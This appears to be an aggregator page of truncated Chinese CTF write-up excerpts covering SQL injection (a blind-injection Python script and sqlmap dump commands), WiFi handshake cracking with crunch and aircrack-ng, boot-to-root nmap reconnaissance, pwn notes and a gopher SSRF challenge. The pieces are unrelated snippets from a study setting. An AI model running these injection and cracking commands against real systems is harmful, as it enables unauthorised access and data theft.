ctf

CTF中常见注入题源码及脚本分析

你说的曾经没有我的故事 提交于 2019-12-25 04:39:40
1.代码审计发现 这里没有用escape_string,因此存在注入。 1 function show($username){ 2 global $conn; 3 $sql = "select role from `user` where username ='".$username."'"; 4 $res = $conn ->query($sql); 5 if($res->num_rows>0){ 6 echo "$username is ".$res->fetch_assoc()['role']; 7 }else{ 8 die("Don't have this user!"); 9 } 10 } 通过这里注入可以得到pasaword,$usename为被 单引号引起,所以应该首先注意闭合单引号。 pyhton脚本如下: 1 # --coding:utf-8-- import requests 2 url="http://117.34.111.15:89/?action=show" 3 passwd="" 4 lists="1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm" 5 for i in xrange(1,33): 6 print i 7 for p in lists: 8 param={

ctf题目writeup(5)

偶尔善良 提交于 2019-12-21 07:30:09
2019.2.1 今天继续bugku的隐写杂项题:题目链接:https://ctf.bugku.com/challenges 1. 这道题下载后用wireshark打开。。。看了好久也没看出个所以然,最后找到个这个: 应该是md564位,跑去cmd5碰碰运气并不行。。。。 然后自己编了个1391040¥¥¥¥的字典,用MD5crack试一下,发现跑不出来,可能这个key并不是那个手机号。。。 然后看大佬们的wp 原来是用linux的工具:(这个方法估计现实生活中也可以破解wifi) 首先把这个文件弄到linxu里面,然后生成个密码本: crunch 11 11 -t 1391040%%%% -o wifipwd.txt 然后请出主角:aircrack 它会自动分析流量包中的wifi数据,然后进行爆破。 aircrack-ng -a2 wifi.cap -w wifipwd.txt 然后我们需要选择 有握手包的进行破解,就搞定了: flag{13910407686} 2. 还记得linux那道题么,一样的,可以拿到linux中直接grep key就行。 不够这回它都提示了,那就在windows里面notepad++直接find key: KEY{24f3627a86fc740a7f36ee2c7a1c124a} 3. 这个网址打开后这样: 看到这查看一下两个页面源码

10. CTF综合靶机渗透(三)

孤街浪徒 提交于 2019-12-18 04:48:36
靶机说明 斗牛犬工业公司最近将其网站污损,并由恶意德国牧羊犬黑客团队拥有。这是否意味着有更多的漏洞可以利用?你为什么不知道?:) 这是标准的Boot-to-Root。你唯一的目标是进入根目录并看到祝贺信息,你怎么做取决于你! 难度:初学者/中级,如果遇到困难,试着找出你可以与系统交互的所有不同方式。这是我唯一的暗示;) 目标 提权到root权限并查看flag 运行环境 这个靶机,作者建议在Virtualbox上运行。但是攻击机kali在vm中。 首先是网络环境,将两台处于不同虚拟机软件中的虚拟机配置到同一网卡下。 Virtualbox设置为桥接模式,桥接到物理的无线网卡 只有一块无线网卡链接到了互联网,所以kali直接桥接,复制物理网络即可。 最后kali执行 dhclient 命令,请求分配ip,bulldog直接开机即可。 信息收集 ip发现 kali安装在vmware,作为攻击机,ip为: bulldog靶机运行在virtualbox虚拟机上,在开机时,已经给出了ip地址: 端口扫描 执行命令 nmap -sS 192.168.0.113 发现 23 , 80 , 8080 端口开放 服务识别 执行命令 nmap -A -p 80,23 192.168.0.113 对23和80进行详细探测 发现ssh服务和web服务,并且web服务为python。 漏洞挖掘 首先查看web

14. CTF综合靶机渗透(七)

为君一笑 提交于 2019-12-18 04:47:59
靶机说明 NinevehV0.3.7z是一个难度为初级到中级的BooT2Root/CTF挑战。 VM虚机配置有静态IP地址(192.168.0.150) 目标 Boot to root:获得root权限,查看flag。 运行环境 靶机:静态IP是192.168.0.150。 攻击机:同网段下有kali攻击机(物理机),IP地址:192.168.0.128,安装有Nmap、Burpsuit、Wireshark、Sqlmap、nc、Python2.7、JDK、DirBuster、AWVS、Nessus等渗透工具,也可以使用windows攻击机。 信息收集 端口服务识别 启动NinevehV0.3.7z虚拟机,由于IP已知,使用nmap扫描端口,并做服务识别和深度扫描(加-A参数),命令: nmap -T4 -A -p 1-65535 192.168.0.150 发现只开放了80和443这2个端口,但是后面有一个ssl-cert 也就是ssl证书 比较敏感也就是443端口, 我们先访问 http://192.168.0.150 HTTP协议传输的数据都是未加密的,也就是明文的,因此使用HTTP协议传输隐私信息非常不安全,为了保证这些隐私数据能加密传输,于是网景公司设计了SSL(Secure Sockets Layer)协议用于对HTTP协议传输的数据进行加密,从而就诞生了HTTPS。

CTF[Pwn] i春秋学习笔记

拈花ヽ惹草 提交于 2019-12-17 06:49:09
buffer overflow 堆溢出、栈溢出、bss溢出、data溢出 例题: wellpwn\AliCtf 2016 vss\Hitcon 2015 readable\stkof\zerostorage 整数溢出 无符号数和有符号的转换(MIMA 2016 shadow) 整数加减乘除法,malloc(size*2)(pwnhbu.cn calc) 整数溢出通常会进一步转换为缓冲区溢出、逻辑漏洞等其他漏洞 格式化字符串 printf sprintf fprintf 任意地址读写 用来leak 释放后使用(Use-After-Free) 释放掉的内存可能会被重新分配,释放后使用会导致重新分配的内存被旧的使用所改写 Double free就是一种特殊的UAF 例题: Defcon 2014 Qual shitsco,AliCTF 2016 router,0CTF2016 freenote(double free),HCTF 2016 fheap(double free) 逻辑漏洞 访问控制 协议漏洞 多线程竞态条件等(fakefuzz) 还原结构体、接口、类 理清程序的执行逻辑 熟悉常见的数据结构 链表、树、堆、图等各种加密算法 了解各个寄存器的作用 rsp/esp pc rbp/ebp rax/eax rdi rsi rdx rcx 栈用于保存函数的调用信息和局部变量 函数调用

CTF必备技能丨Linux Pwn入门教程——PIE与bypass思路

|▌冷眼眸甩不掉的悲伤 提交于 2019-12-17 06:47:44
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程。 教程仅针对i386/amd64下的Linux Pwn常见的Pwn手法,如栈,堆,整数溢出,格式化字符串,条件竞争等进行介绍,所有环境都会封装在Docker镜像当中,并提供调试用的教学程序,来自历年赛事的原题和带有注释的python脚本。 课程回顾>> Linux Pwn入门教程第一章:环境配置 Linux Pwn入门教程第二章:栈溢出基础 Linux Pwn入门教程第三章:ShellCode Linux Pwn入门教程第四章:ROP技术(上) Linux Pwn入门教程第四章:ROP技术(下) Linux Pwn入门教程第五章:调整栈帧的技巧 Linux Pwn入门教程第六章:利用漏洞获取libc Linux Pwn入门教程第七章:格式化字符串漏洞 今天i春秋与大家分享的是Linux Pwn入门教程第八章:PIE与bypass思路,阅读用时约20分钟。 01、PIE简介 在之前的文章中我们提到过ASLR这一防护技术。由于受到堆栈和libc地址可预测的困扰,ASLR被设计出来并得到广泛应用。因为ASLR技术的出现,攻击者在ROP或者向进程中写数据时不得不先进行leak,或者干脆放弃堆栈

BUU CTF web题write up

[亡魂溺海] 提交于 2019-12-10 21:48:59
0x01 WarmUp 进来就是一个大大的滑稽,F12拿到源码链接source.php <?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"

Real World CTF一日游

别等时光非礼了梦想. 提交于 2019-12-09 00:54:30
今天去感受了长亭举办的RWCTF现场,参加了技术论坛,也学到了很多的知识 比较有印象的就是 智能安全在Web防护中的探索和实践 阿里云安全防护构建的AI架构体系: 基线检测 基础过滤 异常检测 攻击识别 威胁感知智能体 移花接木:基础协议缺陷导致的DNS缓存污染攻击 DNS缓存污染的具体技术细节: 利用IP分片功能减小伪造DNS响应数据包的难度来污染权威DNS服务器 Bifrost揭秘:VMware Fusion REST API漏洞分析 首次讲解了VMware在MACOS下结合Web漏洞产生的虚拟机逃逸 分析 对这几个漏洞都比较感兴趣,虽然我只是个菜鸟,看个SpringMVC源码都头痛的脚本小子。但是我还是想在自己的能力范围之内以自己的视角来分析分析这几个漏洞。 之后会单独写几遍文章来分析一下这几个漏洞,嘻嘻 小声BB---争取明年进入RWCTF(我吹牛的) 来源: https://www.cnblogs.com/AirSky/p/12008813.html

CTF gopher协议

不想你离开。 提交于 2019-12-07 01:47:35
0x01 例题 这儿举例安恒的一道月题 tips:利用ssrf,gopher打内网 0x02 贴出代码 <?php highlight_file ( __FILE__ ) ; $x = $_GET [ 'x' ] ; $pos = strpos ( $x , "php" ) ; if ( $pos ) { exit ( "denied" ) ; } $ch = curl_init ( ) ; curl_setopt ( $ch , CURLOPT_URL , " $x " ) ; curl_setopt ( $ch , CURLOPT_RETURNTRANSFER , true ) ; $result = curl_exec ( $ch ) ; echo $result ; 0x03分析过程 首先 x 我们可以控制, x可利用的协议有 gopher 、 dict 、 http 、 https 、 file 等 file 协议可以用于查看文件 dict 协议可以用于刺探端口 gopher 协议支持 GET&POST 请求,常用于攻击内网 ftp 、 redis 、 telnet 、 smtp 等服务,还可以利用 gopher 协议访问 redis 反弹 shell 首先我们利用file读取文件 先上脚本扫描一下目录,得到 flag.php 。 一般我们还可以读取 /etc/hosts

ctf题库--简单的sql注入③

£可爱£侵袭症+ 提交于 2019-12-07 00:48:25
<题目> mysql报错注入 格式:flag{} 解题链接: http://ctf5.shiyanbar.com/web/index_3.php <解答> 1.打开题目链接,在查询中输入1,发现地址栏变化。 2.认为这里可能(看题目其实知道是一定)存在一个sql注入。 3.使用工具sqlmap进行注入(以该地址栏id值为例)。 查看当前数据库: Sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --current-db 查看(猜解)表: Sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" -D web1 --tables 查看(猜解)flag表的列: Sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" -D web1 -T flag -columns 将flag表中的flag值dump一下: Sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" -D web1 -T flag -C flag --dump 即可得到最终的值: 后记:如果不熟悉sqlmap,则最先应记住几个常用的注入语句和常见的注入方法